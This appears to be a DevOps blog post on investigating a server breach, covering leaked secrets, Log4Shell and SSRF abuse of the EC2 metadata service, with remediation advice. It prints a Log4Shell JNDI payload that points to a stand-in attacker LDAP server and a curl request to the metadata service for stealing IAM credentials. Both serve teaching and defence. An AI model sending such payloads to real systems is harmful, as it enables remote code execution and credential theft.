Solved: I was hacked, help me understand how???

#devops #programming #tutorial #cloud

🚀 Executive Summary

TL;DR: This post-mortem guide helps DevOps professionals understand how server breaches occur by analyzing symptoms and common attack vectors like exposed secrets, unpatched vulnerabilities, and cloud misconfigurations. It provides a structured approach to investigate, remediate, and implement preventative measures, ensuring future security.

🎯 Key Takeaways

Monitoring anomalous processes (e.g., kdevtmpfsi), high resource utilization, unexpected outbound traffic, new user accounts, suspicious cron jobs, or disabled security tools are critical indicators of a server compromise.
Proactive security involves implementing secret scanning tools (TruffleHog, git-secrets), dedicated secrets management solutions (HashiCorp Vault, AWS Secrets Manager), integrating SAST/DAST/SCA into the SDLC, enforcing IMDSv2, and adhering to the Principle of Least Privilege.
For post-breach investigation, leverage git history for exposed secrets, AWS CloudTrail logs for IAM activity, application/access logs for vulnerability exploits (e.g., ${jndi:}), and Endpoint Detection and Response (EDR) tools for host-level insights.

A server breach is a chaotic event. This post-mortem guide for DevOps professionals analyzes common attack vectors like exposed CI/CD secrets, unpatched vulnerabilities, and cloud misconfigurations, providing a structured approach to understanding how a hack occurred and how to prevent it.

“I Was Hacked”: A DevOps Post-Mortem

The alert comes in at 2 AM. CPU usage is pegged at 100%, outbound network traffic has skyrocketed, and a process named kdevtmpfsi is eating all available resources. You’ve been compromised. The immediate priority is to contain the breach, but the critical next step is the post-mortem. Understanding the “how” is the only way to prevent the “next time.” This guide dissects common entry points in modern cloud-native environments and provides a framework for investigation.

Symptoms: The Telltale Signs of a Compromise

Before diving into root causes, let’s identify the common symptoms that scream “breach.” Your monitoring and logging systems are your best friends here. You might see one or more of the following:

Anomalous Processes: Unfamiliar processes running, often with strange names designed to mimic legitimate system processes (e.g., kworkerds, systemd-resolve, or random character strings). A crypto-miner is a common culprit.
High Resource Utilization: Sustained 100% CPU usage or a sudden, massive spike in memory consumption are classic signs of a malicious process, like a crypto-miner, taking over.
Unexpected Outbound Traffic: A surge in outbound network traffic, especially to unknown IP addresses or over non-standard ports, could indicate data exfiltration or a botnet connection.
New or Modified User Accounts: The appearance of new IAM users, EC2 key pairs, or SSH keys in ~/.ssh/authorized\_keys that you don’t recognize.
Suspicious Cron Jobs: Attackers often add entries to crontab to ensure their malware persists after a reboot.
Disabled Security Tools: You might find that security agents (like Falco, Wazuh) or logging daemons have been stopped or uninstalled.

If you see these signs, your investigation starts now. Let’s explore three common attack vectors.

Vector 1: Exposed Secrets in Code or CI/CD

This is one of the most common and easily preventable entry points in a DevOps lifecycle. A developer accidentally commits a hardcoded API key, a CI/CD pipeline logs a sensitive variable in plain text, or a .env file gets pushed to a public GitHub repository. Attackers run sophisticated bots that constantly scan public repositories for exactly this type of mistake.

How It Happens: A Real-World Example

A developer hardcodes AWS credentials into a test script and pushes it to a public feature branch on GitHub.

# bad_script.py

import boto3

# DO NOT DO THIS! Credentials exposed in a public repository.
client = boto3.client(
    's3',
    aws_access_key_id='AKIAIOSFODNN7EXAMPLE',
    aws_secret_access_key='wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'
)

# ... script logic ...

Within minutes, an automated scanner finds these credentials, and the attacker has programmatic access to your AWS account with the same permissions as the compromised key. From there, they can spin up EC2 instances for crypto-mining, access sensitive data in S3, or create new IAM users to establish persistence.

How to Investigate and Remediate

Containment: Immediately revoke the exposed credentials in the AWS IAM console. This is your first priority.
Investigation: Use your git history (git log -S “AKIA…”) to find where and when the key was committed. Audit AWS CloudTrail logs for any activity associated with that specific aws\_access\_key\_id to understand what the attacker did.
Prevention:
- Implement secret scanning tools like TruffleHog or git-secrets as pre-commit hooks and in your CI pipeline.
- Use a dedicated secrets management solution like HashiCorp Vault, AWS Secrets Manager, or GCP Secret Manager. Never store secrets in code.
- Adopt short-lived, dynamically-generated credentials using IAM Roles for service accounts and OpenID Connect (OIDC) for CI/CD pipelines (e.g., GitHub Actions OIDC integration with AWS).

Vector 2: Unpatched Application or System Vulnerabilities

Your infrastructure is only as secure as the software running on it. A single critical vulnerability in an open-source library or a system package can provide an attacker with a direct path to remote code execution (RCE). The Log4Shell incident (CVE-2021-44228) was a painful reminder of this.

How It Happens: The Log4Shell Example

An attacker finds a public-facing web application that uses a vulnerable version of the Log4j library. They can trigger the vulnerability by simply sending a crafted string in a common HTTP header, like the User-Agent.

# Attacker's request to a vulnerable server
curl http://your-vulnerable-app.com/ -H 'User-Agent: ${jndi:ldap://attacker-server.com/a}'

The vulnerable server’s Log4j library interprets this string, makes a request to the attacker-controlled LDAP server, and executes the malicious code payload returned by that server. The attacker now has a shell on your machine.

How to Investigate and Remediate

Containment: Isolate the affected host(s) by modifying security group rules to block all inbound and outbound traffic, except for your own management IP.
Investigation: Analyze application and access logs for suspicious strings like ${jndi:. Check running processes for anomalies. If you have an Endpoint Detection and Response (EDR) tool, its data will be invaluable here.
Prevention: Integrate security scanning throughout your SDLC. This is where understanding the difference between scanner types is crucial.

SAST vs. DAST vs. SCA: A Comparison


Tool Type	What It Is	When to Use	Examples
SAST (Static Application Security Testing)	“White-box” testing. Analyzes source code for security flaws without executing it.	Early in the CI pipeline, on every commit.	SonarQube, Checkmarx, Snyk Code
DAST (Dynamic Application Security Testing)	“Black-box” testing. Probes a running application from the outside for vulnerabilities.	In staging/QA environments, against a running application.	OWASP ZAP, Burp Suite, Invicti
SCA (Software Composition Analysis)	Scans dependencies (`pom.xml`, `package.json`, etc.) for known CVEs.	On every build. Crucial for catching things like Log4Shell.	Snyk Open Source, Trivy, Dependabot

Vector 3: Cloud Security Misconfiguration

The flexibility of the cloud is also its danger. A simple misconfiguration can expose sensitive services to the entire internet. Common examples include public S3 buckets, overly permissive IAM policies, or security groups allowing unrestricted access to SSH or RDP ports.

How It Happens: The EC2 Metadata Service Attack

A more subtle but devastating attack involves abusing the EC2 metadata service. If an application on an EC2 instance has a Server-Side Request Forgery (SSRF) vulnerability, an attacker can trick the application into making a request to the internal metadata service IP address (169.254.169.254).

This service provides temporary IAM credentials for the role attached to the EC2 instance. An attacker can steal these credentials and assume the instance’s role from their own machine.

# Attacker exploits an SSRF flaw to make the server run this command internally
# The server is tricked into fetching and returning its own IAM credentials.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/your-ec2-instance-role

# The output gives the attacker temporary credentials:
# {
#   "Code" : "Success",
#   "LastUpdated" : "2023-10-27T18:30:15Z",
#   "Type" : "AWS-HMAC",
#   "AccessKeyId" : "ASIA...",
#   "SecretAccessKey" : "...",
#   "Token" : "...",
#   "Expiration" : "2023-10-28T00:45:15Z"
# }

Now the attacker has the same permissions as your EC2 instance. If that role is overly permissive (e.g., AdministratorAccess), they have the keys to your entire AWS kingdom.

How to Investigate and Remediate

Containment: If an instance role is compromised, detach the IAM role from the EC2 instance immediately. This invalidates the temporary credentials.
Investigation: Again, CloudTrail is your source of truth. Search for all API activity performed by the compromised role’s principal (ARO…). Look for unusual activity like creating users, accessing S3 buckets unrelated to the application’s function, or launching new instances.
Prevention:
- Enforce IMDSv2: Configure your EC2 instances to require IMDSv2 (Instance Metadata Service Version 2). It uses session-oriented requests, which mitigates SSRF attacks. You can enforce this via instance launch templates or SCPs (Service Control Policies).
- Principle of Least Privilege: Never attach overly permissive IAM roles to your instances. Craft fine-grained policies that only allow the specific actions the application needs.
- Use a CSPM: Employ a Cloud Security Posture Management (CSPM) tool like AWS Security Hub, Prowler, or commercial alternatives to continuously scan your cloud environment for misconfigurations.